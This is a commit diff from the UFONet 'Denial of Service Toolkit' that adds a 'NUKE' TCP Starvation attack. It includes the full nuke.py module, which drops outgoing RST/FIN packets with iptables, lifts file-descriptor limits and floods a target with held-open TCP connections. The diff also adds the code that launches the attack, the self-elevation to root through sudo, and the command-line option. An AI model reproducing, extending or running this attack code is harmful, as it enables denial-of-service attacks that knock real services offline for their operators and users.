Browse Source

Added TCP Starvation attack

psy 5 months ago
parent
commit
519d99c9ff
4 changed files with 493 additions and 50 deletions
  1. 49 8
      core/main.py
  2. 77 0
      core/mods/nuke.py
  3. 5 4
      core/options.py
  4. 362 38
      core/webgui.py

+ 49 - 8
core/main.py

@@ -26,6 +26,7 @@ from core.mods.ufosyn import UFOSYN
 from core.mods.spray import SPRAY
 from core.mods.smurf import SMURF
 from core.mods.xmas import XMAS
+from core.mods.nuke import NUKE
 
 class UFONet(object):
     def __init__(self):
@@ -86,6 +87,7 @@ class UFONet(object):
         self.total_spray = 0
         self.total_smurf = 0
         self.total_xmas = 0
+        self.total_nuke = 0
         self.total_zombies_failed_connection = 0
         self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
         self.ctx.check_hostname = False
@@ -143,19 +145,20 @@ class UFONet(object):
         print "       (O)_  (O)   '----'   (O)  _(O)        ||                                             ||"   
         print "           |  |.''.( xx ).''.|  |            ||      /Zombies : HTTP GET bots               ||"
         print "           .'.'    |'..'|    '.'.            ||      /Droids  : HTTP GET (+params) bots     ||"
-        print "    .-.  .' /'--.__|____|__.--'\ '.  .-.     ||      /Aliens  : HTTP POST bots              ||"
+        print "    .-.  .' /'--.__|_00_|__.--'\ '.  .-.     ||      /Aliens  : HTTP POST bots              ||"
         print "   (O).)-| |  \  x |    |x   /  | |-(.(O)    ||      /UCAVs   : Web Abusing bots            ||"
         print "    `-'  '-'-._'-./ ---- \.-'_.-'-'  `-'     ||      /X-RPCs  : XML-RPC bots                ||"
         print "       _ | |   '-.___||___.-'   | | _        ||      /SPRAY   : TCP-SYN reflector           ||"
         print "    .' _ | |   O |   __   | O   | | _ '.     ||      /SMURF   : ICMP echo flooder           ||"
-        print "   / .' ''.|  || | /____\ | ||  |.'' '. \    ||                                             ||"
+        print "   / .' ''.|  || | /_00_\ | ||  |.'' '. \    ||                                             ||"
         print "   | '     |  =| | ###### | |=  |'      |    ||  * Close Combat -> [DoS]:                   ||"
         print "   | |(0)| '.   \||__**_ ||/   .' |(0)| |    ||                                             ||"
         print "   \ '._.'   '.  | \_##_/ |  .'   '._.' /    ||      /LOIC    : Fast HTTP requests          ||"
-        print "    '.__ ______'.|__'--'__|.'______ __.'     ||      /LORIS   : Slow HTTP requests          ||"
+        print "    '.__ ____0_'.|__'--'__|.'_0____ __.'     ||      /LORIS   : Slow HTTP requests          ||"
         print "   .'_.-|                          |-._'.    ||      /UFOSYN  : TCP-SYN flooder             ||"
         print "                                             ||      /XMAS    : TCP-XMAS flooder            ||" 
-        print "   + Class: UFONet / ViPR404+ (model D) +    ||                                             ||"
+        print "   + Class: UFONet / ViPR404+ (model E) +    ||      /NUKE    : TCP-STARVATION attack       ||"
+        print "                                             ||                                             ||"
         print "                                             0|=============================================|0" 
         print ""
 
@@ -469,6 +472,17 @@ class UFONet(object):
                 except:
                     pass # keep running, but XMAS will fail
 
+        # check EUID when running NUKE (root required)
+        if options.nuke:
+            euid = self.checkeuid()
+            if euid != 0:
+                print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
+                try:
+                    args = ['sudo', sys.executable] + sys.argv + [os.environ]
+                    os.execlpe('sudo', *args)
+                except:
+                    pass # keep running, but NUKE will fail
+
         # search for [Zombies] on search engines results (dorking)
         if options.search:
             zombies = []
@@ -1243,7 +1257,7 @@ class UFONet(object):
     def update_flying_stats(self):
         if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
             with open(self.mothership_stats_file, "w") as f:
-                json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "crashed": "0"}, f, indent=4) # starting reset
+                json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "crashed": "0"}, f, indent=4) # starting reset
         stats_json_file = open(self.mothership_stats_file, "r")
         data = json.load(stats_json_file)
         stats_json_file.close()
@@ -1395,6 +1409,18 @@ class UFONet(object):
         stats_json_file.write(json.dumps(data))
         stats_json_file.close()
 
+    def update_nuke_stats(self):
+        stats_json_file = open(self.mothership_stats_file, "r")
+        data = json.load(stats_json_file)
+        stats_json_file.close()
+        anuke = data["nuke"]
+        anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
+        self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
+        data["nuke"] = anuke
+        stats_json_file = open(self.mothership_stats_file, "w+")
+        stats_json_file.write(json.dumps(data))
+        stats_json_file.close()
+
     def uploading_list(self): 
         self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
         headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
@@ -3570,7 +3596,7 @@ class UFONet(object):
         else:
             print "\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n"
 
-    def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas):
+    def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke):
         # perform some other extra attacks (such as DoS techniques)
         time.sleep(2) # aiming (multi-threading flow time compensation)
         if loic:
@@ -3645,6 +3671,21 @@ class UFONet(object):
             t6.daemon = True
             t6.start()
             self.update_xmas_stats() # add new XMAS attack to mothership
+        if nuke:
+            if sys.platform == "linux" or sys.platform == "linux2":
+                try:
+                    self.options.nuke = int(nuke)
+                except:
+                    self.options.nuke = 100 # default NUKE requests
+                if self.options.nuke < 1:
+                    self.options.nuke = 100
+                self.instance = NUKE() # instance main class for NUKE operations
+                t = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
+                t.daemon = True # extra weapons are threaded as daemons
+                t.start()
+                self.update_nuke_stats() # add new NUKE attack to mothership
+            else:
+                print "\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n"
 
     def stressing(self, target, zombie):
         # perform a DDoS Web attack against a target, requesting records on target's database
@@ -3868,8 +3909,8 @@ class UFONet(object):
                 num_hits = 0
                 num_zombie = 1
                 # start to attack the target with [MODS]
-                if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas:
-                    ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas)) # multithreading flow for extra attacks
+                if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke:
+                    ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke)) # multithreading flow for extra attacks
                     ex.daemon = True # extra weapons are threaded as daemons
                     ex.start()
                 # start to attack the target with [ARMY]

+ 77 - 0
core/mods/nuke.py

@@ -0,0 +1,77 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket, select, os, time, urlparse, resource
+
+# UFONet TCP Starvation (NUKE)
+def connect(ip, port):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.setblocking(0)
+    s.connect_ex((ip, port))
+    return s
+
+def nukeize(ip, port, rounds):
+    n=0
+    try: # RFC793 will lacks an exception if reset is not sent
+        resource.setrlimit(resource.RLIMIT_NOFILE, (100000, 100000)) # modify kernel ulimit to: 100000
+        os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP"%(ip, port)) # modify IPTABLES
+        os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP"%(ip, port))
+        epoll = select.epoll()
+        connections = {}
+        for x in range (0,int(rounds)):
+            try:
+                n=n+1
+                s = connect(ip, port)
+                print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
+                connections[s.fileno()] = s 
+                epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
+                while True:
+                    n=n+1
+                    events = epoll.poll(1)
+                    for fileno, event in events:
+                        s = connections.pop(s.fileno())
+                        print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
+                        if s:
+                            s.close()
+                            s = connect(ip, port)
+                            connections[s.fileno()] = s
+                            epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)                
+            except:
+                print "[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]"
+        os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
+        os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
+    except:
+        print("[Error] [AI] [NUKE] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class NUKE(object):
+    def attacking(self, target, rounds):
+        print "[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]\n"
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            port = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print "[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            return
+        nukeize(ip, port, rounds) # attack with NUKE using threading

+ 5 - 4
core/options.py

@@ -29,7 +29,7 @@ class UFONetOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
                            description='\nUFONet - Denial of Service Toolkit - by psy (https://03c8.net)',
                            prog='./ufonet',
-                           version='\nCode: v1.2 - Armageddon!\n')
+                           version='\nCode: v1.2.1 - Armageddon!\n')
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
         self.add_option("--update", action="store_true", dest="update", help="check for latest stable version")
@@ -105,10 +105,11 @@ class UFONetOptions(optparse.OptionParser):
         group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP slow' attack (ex: --loris 101)")
         group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' attack (ex: --ufosyn 100)")
         group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' attack (ex: --xmas 101)")
+        group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION' attack (ex: --nuke 10000)")
         self.add_option_group(group8)
 
     def extract_mods(self):
-        mods = "6 [ LOIC + LORIS + UFOSYN + SPRAY + SMURF + XMAS ]" # hardcoded mods ;-)
+        mods = "6 [ LOIC + LORIS + UFOSYN + SPRAY + SMURF + XMAS + NUKE ]" # hardcoded mods ;-)
         return mods       
 
     def extract_tools(self):
@@ -183,9 +184,9 @@ class UFONetOptions(optparse.OptionParser):
             print " 'Y88888P'  888        'Y88888P'  888    Y888  'Y8888   'Y8888"                                 
             print self.description, "\n"
             print '='*75 + "\n"
-            print '-> Mods:', str(self.mods), '| Tools: [', self.tools, "]\n"
+            print '-> Mods:', str(self.mods), "\n"
             print '='*75, "\n"
-            print '-> Bots:', self.total_botnet, "[ Z:" + str(self.zombies) + " + A:" + str(self.aliens) + " + D:" + str(self.droids) + " + R:" + str(self.rpcs) + " + U:" + str(self.ucavs) + " ] | Dorks:[", self.dorks, "]\n"
+            print '-> Bots:', self.total_botnet, "[ Z:" + str(self.zombies) + " + A:" + str(self.aliens) + " + D:" + str(self.droids) + " + R:" + str(self.rpcs) + " + U:" + str(self.ucavs) + " ] | Dorks: [", self.dorks, "]\n"
             print '='*75, "\n"
             print "-> For HELP use: -h or --help\n"
             print "-> For WEB interface use: --gui\n"

File diff suppressed because it is too large
+ 362 - 38
core/webgui.py